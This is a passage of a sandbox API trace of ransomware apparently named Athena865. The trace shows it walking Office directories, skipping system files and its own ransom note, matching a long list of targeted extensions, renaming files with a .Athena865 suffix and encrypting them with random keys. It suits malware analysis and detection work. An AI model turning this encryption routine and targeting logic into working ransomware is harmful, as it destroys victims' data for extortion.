Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.athena865"), dwFlags=0x1) returned 1 [0148.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.738] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=651) returned 1 [0148.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.738] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.738] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.739] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.739] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.739] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x17c [0148.741] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0148.742] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.742] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.742] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.742] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.743] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.743] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.743] CloseHandle (hObject=0x17c) returned 1 [0148.743] CloseHandle (hObject=0x154) returned 1 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.743] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.744] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0xd3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.DEV_COL.HXT", cAlternateFileName="WINPRO~1.HXT")) returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2=".") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="..") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="windows") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="bootmgr") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="temp") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="pagefile.sys") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="boot") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="ids.txt") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="ntuser.dat") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="perflogs") returned 1 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2="MSBuild") returned 1 [0148.744] lstrlenW (lpString="WINPROJ.DEV_COL.HXT") returned 19 [0148.744] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ.DEV_COL.HXT" | out: lpString1="WINPROJ.DEV_COL.HXT") returned="WINPROJ.DEV_COL.HXT" [0148.744] lstrlenW (lpString="WINPROJ.DEV_COL.HXT") returned 19 [0148.744] lstrlenW (lpString="Athena865") returned 9 [0148.744] lstrcmpiW (lpString1="V_COL.HXT", lpString2="Athena865") returned 1 [0148.744] lstrlenW (lpString=".dll") returned 4 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2=".dll") returned 1 [0148.744] lstrlenW (lpString=".lnk") returned 4 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2=".lnk") returned 1 [0148.744] lstrlenW (lpString=".ini") returned 4 [0148.744] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2=".ini") returned 1 [0148.745] lstrlenW (lpString=".sys") returned 4 [0148.745] lstrcmpiW (lpString1="WINPROJ.DEV_COL.HXT", lpString2=".sys") returned 1 [0148.745] lstrlenW (lpString="WINPROJ.DEV_COL.HXT") returned 19 [0148.745] lstrlenW (lpString="bak") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="bak") returned 1 [0148.745] lstrlenW (lpString="ba_") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="ba_") returned 1 [0148.745] lstrlenW (lpString="dbb") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="dbb") returned 1 [0148.745] lstrlenW (lpString="vmdk") returned 4 [0148.745] lstrcmpiW (lpString1=".HXT", lpString2="vmdk") returned -1 [0148.745] lstrlenW (lpString="rar") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="rar") returned -1 [0148.745] lstrlenW (lpString="zip") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="zip") returned -1 [0148.745] lstrlenW (lpString="tgz") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="tgz") returned -1 [0148.745] lstrlenW (lpString="vbox") returned 4 [0148.745] lstrcmpiW (lpString1=".HXT", lpString2="vbox") returned -1 [0148.745] lstrlenW (lpString="vdi") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="vdi") returned -1 [0148.745] lstrlenW (lpString="vhd") returned 3 [0148.745] lstrcmpiW (lpString1="HXT", lpString2="vhd") returned -1 [0148.745] lstrlenW (lpString="vhdx") returned 4 [0148.745] lstrcmpiW (lpString1=".HXT", lpString2="vhdx") returned -1 [0148.745] lstrlenW (lpString="avhd") returned 4 [0148.745] lstrcmpiW (lpString1=".HXT", lpString2="avhd") returned -1 [0148.745] lstrlenW (lpString="db") returned 2 [0148.745] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0148.746] lstrlenW (lpString="db2") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="db2") returned 1 [0148.746] lstrlenW (lpString="db3") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="db3") returned 1 [0148.746] lstrlenW (lpString="dbf") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="dbf") returned 1 [0148.746] lstrlenW (lpString="mdf") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="mdf") returned -1 [0148.746] lstrlenW (lpString="mdb") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="mdb") returned -1 [0148.746] lstrlenW (lpString="sql") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="sql") returned -1 [0148.746] lstrlenW (lpString="sqlite") returned 6 [0148.746] lstrcmpiW (lpString1="OL.HXT", lpString2="sqlite") returned -1 [0148.746] lstrlenW (lpString="sqlite3") returned 7 [0148.746] lstrcmpiW (lpString1="COL.HXT", lpString2="sqlite3") returned -1 [0148.746] lstrlenW (lpString="sqlitedb") returned 8 [0148.746] lstrcmpiW (lpString1="_COL.HXT", lpString2="sqlitedb") returned -1 [0148.746] lstrlenW (lpString="xml") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="xml") returned -1 [0148.746] lstrlenW (lpString="$er") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="$er") returned 1 [0148.746] lstrlenW (lpString="4dd") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="4dd") returned 1 [0148.746] lstrlenW (lpString="4dl") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="4dl") returned 1 [0148.746] lstrlenW (lpString="^^^") returned 3 [0148.746] lstrcmpiW (lpString1="HXT", lpString2="^^^") returned 1 [0148.747] lstrlenW (lpString="abs") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="abs") returned 1 [0148.747] lstrlenW (lpString="abx") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="abx") returned 1 [0148.747] lstrlenW (lpString="accdb") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accdb") returned 1 [0148.747] lstrlenW (lpString="accdc") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accdc") returned 1 [0148.747] lstrlenW (lpString="accde") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accde") returned 1 [0148.747] lstrlenW (lpString="accdr") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accdr") returned 1 [0148.747] lstrlenW (lpString="accdt") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accdt") returned 1 [0148.747] lstrlenW (lpString="accdw") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accdw") returned 1 [0148.747] lstrlenW (lpString="accft") returned 5 [0148.747] lstrcmpiW (lpString1="L.HXT", lpString2="accft") returned 1 [0148.747] lstrlenW (lpString="adb") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0148.747] lstrlenW (lpString="adb") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="adb") returned 1 [0148.747] lstrlenW (lpString="ade") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="ade") returned 1 [0148.747] lstrlenW (lpString="adf") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="adf") returned 1 [0148.747] lstrlenW (lpString="adn") returned 3 [0148.747] lstrcmpiW (lpString1="HXT", lpString2="adn") returned 1 [0148.748] lstrlenW (lpString="adp") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="adp") returned 1 [0148.748] lstrlenW (lpString="alf") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="alf") returned 1 [0148.748] lstrlenW (lpString="ask") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="ask") returned 1 [0148.748] lstrlenW (lpString="btr") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="btr") returned 1 [0148.748] lstrlenW (lpString="cat") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="cat") returned 1 [0148.748] lstrlenW (lpString="cdb") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="cdb") returned 1 [0148.748] lstrlenW (lpString="ckp") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="ckp") returned 1 [0148.748] lstrlenW (lpString="cma") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="cma") returned 1 [0148.748] lstrlenW (lpString="cpd") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="cpd") returned 1 [0148.748] lstrlenW (lpString="dacpac") returned 6 [0148.748] lstrcmpiW (lpString1="OL.HXT", lpString2="dacpac") returned 1 [0148.748] lstrlenW (lpString="dad") returned 3 [0148.748] lstrcmpiW (lpString1="HXT", lpString2="dad") returned 1 [0148.748] lstrlenW (lpString="dadiagrams") returned 10 [0148.748] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="dadiagrams") returned 1 [0148.748] lstrlenW (lpString="daschema") returned 8 [0148.748] lstrcmpiW (lpString1="_COL.HXT", lpString2="daschema") returned -1 [0148.749] lstrlenW (lpString="db-journal") returned 10 [0148.749] lstrcmpiW (lpString1="EV_COL.HXT", lpString2="db-journal") returned 1 [0148.749] lstrlenW (lpString="db-shm") returned 6 [0148.749] lstrcmpiW (lpString1="OL.HXT", lpString2="db-shm") returned 1 [0148.749] lstrlenW (lpString="db-wal") returned 6 [0148.749] lstrcmpiW (lpString1="OL.HXT", lpString2="db-wal") returned 1 [0148.749] lstrlenW (lpString="dbc") returned 3 [0148.749] lstrcmpiW (lpString1="HXT", lpString2="dbc") returned 1 [0148.749] lstrlenW (lpString="dbs") returned 3 [0148.749] lstrcmpiW (lpString1="HXT", lpString2="dbs") returned 1 [0148.749] lstrlenW (lpString="dbt") returned 3 [0148.749] lstrcmpiW (lpString1="HXT", lpString2="dbt") returned 1 [0148.749] lstrlenW (lpString="dbv") returned 3 [0148.749] lstrcmpiW (lpString1="HXT", lpString2="dbv") returned 1 [0148.749] lstrlenW (lpString="dbx") returned 3 [0148.749] lstrcmpiW (lpString1="HXT", lpString2="dbx") returned 1 [0148.749] lstrlenW (lpString="dcb") returned 3 [0148.749] lstrcmpiW (lpString1="HXT", lpString2="dcb") returned 1 [0148.749] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.Athena865") returned 77 [0148.749] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.athena865"), dwFlags=0x1) returned 1 [0148.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.751] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=211) returned 1 [0148.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.752] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.752] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.752] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.752] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.753] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3e0, lpName=0x0) returned 0x17c [0148.754] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3e0) returned 0x100000 [0148.755] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.756] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.756] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.756] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.757] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.757] CloseHandle (hObject=0x17c) returned 1 [0148.757] CloseHandle (hObject=0x154) returned 1 [0148.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.757] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.757] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.DEV_F_COL.HXK", cAlternateFileName="WINPRO~1.HXK")) returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2=".") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="..") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="windows") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="bootmgr") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="temp") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="boot") returned 1 [0148.757] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="ids.txt") returned 1 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="perflogs") returned 1 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2="MSBuild") returned 1 [0148.758] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0148.758] lstrcpyW (in: lpString1=0x241e8a8, lpString2="WINPROJ.DEV_F_COL.HXK" | out: lpString1="WINPROJ.DEV_F_COL.HXK") returned="WINPROJ.DEV_F_COL.HXK" [0148.758] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0148.758] lstrlenW (lpString="Athena865") returned 9 [0148.758] lstrcmpiW (lpString1="F_COL.HXK", lpString2="Athena865") returned 1 [0148.758] lstrlenW (lpString=".dll") returned 4 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2=".dll") returned 1 [0148.758] lstrlenW (lpString=".lnk") returned 4 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2=".lnk") returned 1 [0148.758] lstrlenW (lpString=".ini") returned 4 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2=".ini") returned 1 [0148.758] lstrlenW (lpString=".sys") returned 4 [0148.758] lstrcmpiW (lpString1="WINPROJ.DEV_F_COL.HXK", lpString2=".sys") returned 1 [0148.758] lstrlenW (lpString="WINPROJ.DEV_F_COL.HXK") returned 21 [0148.758] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.Athena865") returned 79 [0148.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0148.761] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=114) returned 1 [0148.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.761] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.761] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.762] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.762] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.762] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x17c [0148.764] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.764] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.765] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.765] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540fa0 [0148.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540fa0 | out: hHeap=0x4f0000) returned 1 [0148.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.765] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.765] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.766] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.766] CloseHandle (hObject=0x17c) returned 1 [0148.766] CloseHandle (hObject=0x154) returned 1 [0148.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.766] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711d3000, ftCreationTime.dwHighDateTime=0x1c561aa, ftLastAccessTime.dwLowDateTime=0xaf5c3fc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x711d3000, ftLastWriteTime.dwHighDateTime=0x1c561aa, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.DEV_K_COL.HXK", cAlternateFileName="WINPRO~2.HXK")) returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2=".") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="..") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="windows") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="bootmgr") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="temp") returned 1 [0148.766] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.767] lstrcmpiW (lpString1="WINPROJ.DEV_K_COL.HXK", lpString2="boot") returned 1 [0148.767] lstrcmpiW 